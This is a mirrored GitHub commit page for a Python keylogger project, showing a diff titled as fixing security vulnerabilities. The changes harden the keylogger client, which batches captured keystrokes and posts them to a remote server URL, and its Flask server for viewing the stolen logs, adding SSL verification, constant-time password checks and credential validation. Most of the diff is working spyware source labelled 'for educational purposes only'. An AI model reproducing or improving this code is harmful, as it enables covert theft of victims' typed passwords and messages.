mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 11:35:50 +00:00
Fix security vulnerabilities from code review
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -4,3 +4,4 @@ WEB_SERVER_PASSWORD=change_this_password
|
|||||||
|
|
||||||
# Flask Configuration
|
# Flask Configuration
|
||||||
FLASK_DEBUG=False
|
FLASK_DEBUG=False
|
||||||
|
FLASK_SECRET_KEY=generate_random_secret_key_here
|
||||||
|
|||||||
+23
-3
@@ -32,7 +32,7 @@ GitHub: https://github.com/Stalin-143
|
|||||||
class KeyLogger:
|
class KeyLogger:
|
||||||
"""Keylogger class to handle keyboard input capture and logging."""
|
"""Keylogger class to handle keyboard input capture and logging."""
|
||||||
|
|
||||||
def __init__(self, log_file_path, server_url, batch_size=10):
|
def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True):
|
||||||
"""
|
"""
|
||||||
Initialize the KeyLogger.
|
Initialize the KeyLogger.
|
||||||
|
|
||||||
@@ -40,10 +40,12 @@ class KeyLogger:
|
|||||||
log_file_path (str): Path to the log file
|
log_file_path (str): Path to the log file
|
||||||
server_url (str): URL of the server to send logs to
|
server_url (str): URL of the server to send logs to
|
||||||
batch_size (int): Number of keystrokes before sending to server
|
batch_size (int): Number of keystrokes before sending to server
|
||||||
|
verify_ssl (bool): Whether to verify SSL certificates (default: True)
|
||||||
"""
|
"""
|
||||||
self.log_file_path = log_file_path
|
self.log_file_path = log_file_path
|
||||||
self.server_url = server_url
|
self.server_url = server_url
|
||||||
self.batch_size = batch_size
|
self.batch_size = batch_size
|
||||||
|
self.verify_ssl = verify_ssl
|
||||||
self.buffer = []
|
self.buffer = []
|
||||||
|
|
||||||
# Ensure the log directory exists
|
# Ensure the log directory exists
|
||||||
@@ -70,7 +72,12 @@ class KeyLogger:
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
log_data = ''.join(self.buffer)
|
log_data = ''.join(self.buffer)
|
||||||
response = requests.post(self.server_url, data={"log": log_data}, timeout=10)
|
response = requests.post(
|
||||||
|
self.server_url,
|
||||||
|
data={"log": log_data},
|
||||||
|
timeout=10,
|
||||||
|
verify=self.verify_ssl # Verify SSL certificates by default
|
||||||
|
)
|
||||||
|
|
||||||
if response.status_code == 200:
|
if response.status_code == 200:
|
||||||
print("Log sent successfully!")
|
print("Log sent successfully!")
|
||||||
@@ -80,6 +87,9 @@ class KeyLogger:
|
|||||||
# Clear the buffer after sending
|
# Clear the buffer after sending
|
||||||
self.buffer = []
|
self.buffer = []
|
||||||
|
|
||||||
|
except requests.exceptions.SSLError as e:
|
||||||
|
print(f"SSL Error: {e}")
|
||||||
|
print("If using self-signed certificates, you can disable SSL verification (NOT recommended for production)")
|
||||||
except requests.exceptions.RequestException as e:
|
except requests.exceptions.RequestException as e:
|
||||||
print(f"Error sending log: {e}")
|
print(f"Error sending log: {e}")
|
||||||
|
|
||||||
@@ -186,6 +196,11 @@ def main():
|
|||||||
type=int,
|
type=int,
|
||||||
help='Override batch size from config'
|
help='Override batch size from config'
|
||||||
)
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
'--no-verify-ssl',
|
||||||
|
action='store_true',
|
||||||
|
help='Disable SSL certificate verification (NOT recommended)'
|
||||||
|
)
|
||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
@@ -197,14 +212,19 @@ def main():
|
|||||||
log_file_path = args.log_file or keylogger_config.get('log_file_path', 'logs/keylog.txt')
|
log_file_path = args.log_file or keylogger_config.get('log_file_path', 'logs/keylog.txt')
|
||||||
server_url = args.server_url or keylogger_config.get('server_url', '')
|
server_url = args.server_url or keylogger_config.get('server_url', '')
|
||||||
batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
|
batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
|
||||||
|
verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed
|
||||||
|
|
||||||
if not server_url:
|
if not server_url:
|
||||||
print("Error: Server URL not configured.")
|
print("Error: Server URL not configured.")
|
||||||
print("Please set server_url in config/config.json or use --server-url argument.")
|
print("Please set server_url in config/config.json or use --server-url argument.")
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
|
if args.no_verify_ssl:
|
||||||
|
print("⚠️ WARNING: SSL certificate verification is DISABLED!")
|
||||||
|
print(" This is NOT recommended for production use.")
|
||||||
|
|
||||||
# Create and start the keylogger
|
# Create and start the keylogger
|
||||||
keylogger = KeyLogger(log_file_path, server_url, batch_size)
|
keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl)
|
||||||
keylogger.start()
|
keylogger.start()
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+37
-7
@@ -7,6 +7,7 @@ For educational purposes only.
|
|||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import json
|
import json
|
||||||
|
import secrets
|
||||||
import argparse
|
import argparse
|
||||||
from functools import wraps
|
from functools import wraps
|
||||||
from flask import Flask, render_template_string, send_file, request, Response
|
from flask import Flask, render_template_string, send_file, request, Response
|
||||||
@@ -25,6 +26,9 @@ Github: https://github.com/Stalin-143
|
|||||||
|
|
||||||
app = Flask(__name__)
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
# Set a secure secret key for session management
|
||||||
|
app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32))
|
||||||
|
|
||||||
# Global configuration
|
# Global configuration
|
||||||
CONFIG = {
|
CONFIG = {
|
||||||
'log_file_path': 'logs/keylog.txt',
|
'log_file_path': 'logs/keylog.txt',
|
||||||
@@ -35,7 +39,7 @@ CONFIG = {
|
|||||||
|
|
||||||
def check_auth(username, password):
|
def check_auth(username, password):
|
||||||
"""
|
"""
|
||||||
Check if username and password are valid.
|
Check if username and password are valid using secure comparison.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
username (str): Username to check
|
username (str): Username to check
|
||||||
@@ -44,7 +48,10 @@ def check_auth(username, password):
|
|||||||
Returns:
|
Returns:
|
||||||
bool: True if valid, False otherwise
|
bool: True if valid, False otherwise
|
||||||
"""
|
"""
|
||||||
return username == CONFIG['username'] and password == CONFIG['password']
|
# Use secrets.compare_digest for constant-time comparison to prevent timing attacks
|
||||||
|
username_match = secrets.compare_digest(username, CONFIG['username'])
|
||||||
|
password_match = secrets.compare_digest(password, CONFIG['password'])
|
||||||
|
return username_match and password_match
|
||||||
|
|
||||||
|
|
||||||
def authenticate():
|
def authenticate():
|
||||||
@@ -153,6 +160,17 @@ def home():
|
|||||||
|
|
||||||
if os.path.exists(log_file_path):
|
if os.path.exists(log_file_path):
|
||||||
try:
|
try:
|
||||||
|
# Read file with size limit to prevent memory exhaustion
|
||||||
|
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB limit
|
||||||
|
file_size = os.path.getsize(log_file_path)
|
||||||
|
|
||||||
|
if file_size > MAX_FILE_SIZE:
|
||||||
|
# For large files, read only the last portion
|
||||||
|
with open(log_file_path, 'r') as file:
|
||||||
|
file.seek(max(0, file_size - MAX_FILE_SIZE))
|
||||||
|
log_contents = file.read()
|
||||||
|
log_contents = f"[Showing last {MAX_FILE_SIZE/1024/1024:.1f}MB of {file_size/1024/1024:.1f}MB file]\n\n" + log_contents
|
||||||
|
else:
|
||||||
with open(log_file_path, 'r') as file:
|
with open(log_file_path, 'r') as file:
|
||||||
log_contents = file.read()
|
log_contents = file.read()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -276,12 +294,24 @@ def main():
|
|||||||
# Update global config
|
# Update global config
|
||||||
CONFIG['log_file_path'] = args.log_file or server_config.get('log_file_path', 'logs/keylog.txt')
|
CONFIG['log_file_path'] = args.log_file or server_config.get('log_file_path', 'logs/keylog.txt')
|
||||||
|
|
||||||
# Load credentials from environment variables or config
|
# Load credentials from environment variables
|
||||||
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME', 'admin')
|
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME')
|
||||||
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD', 'admin')
|
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD')
|
||||||
|
|
||||||
if CONFIG['password'] == 'admin':
|
# Validate that credentials are set
|
||||||
print("⚠️ WARNING: Using default password. Please set WEB_SERVER_PASSWORD environment variable.")
|
if not CONFIG['username'] or not CONFIG['password']:
|
||||||
|
print("ERROR: Authentication credentials not set!")
|
||||||
|
print("Please set WEB_SERVER_USERNAME and WEB_SERVER_PASSWORD environment variables.")
|
||||||
|
print("Example:")
|
||||||
|
print(" export WEB_SERVER_USERNAME=admin")
|
||||||
|
print(" export WEB_SERVER_PASSWORD=your_secure_password")
|
||||||
|
print("\nOr source your .env file:")
|
||||||
|
print(" source config/.env")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8:
|
||||||
|
print("⚠️ WARNING: Weak password detected!")
|
||||||
|
print(" Please use a strong password (at least 8 characters).")
|
||||||
|
|
||||||
# Get server settings
|
# Get server settings
|
||||||
host = args.host or server_config.get('host', '0.0.0.0')
|
host = args.host or server_config.get('host', '0.0.0.0')
|
||||||
|
|||||||
Reference in New Issue
Block a user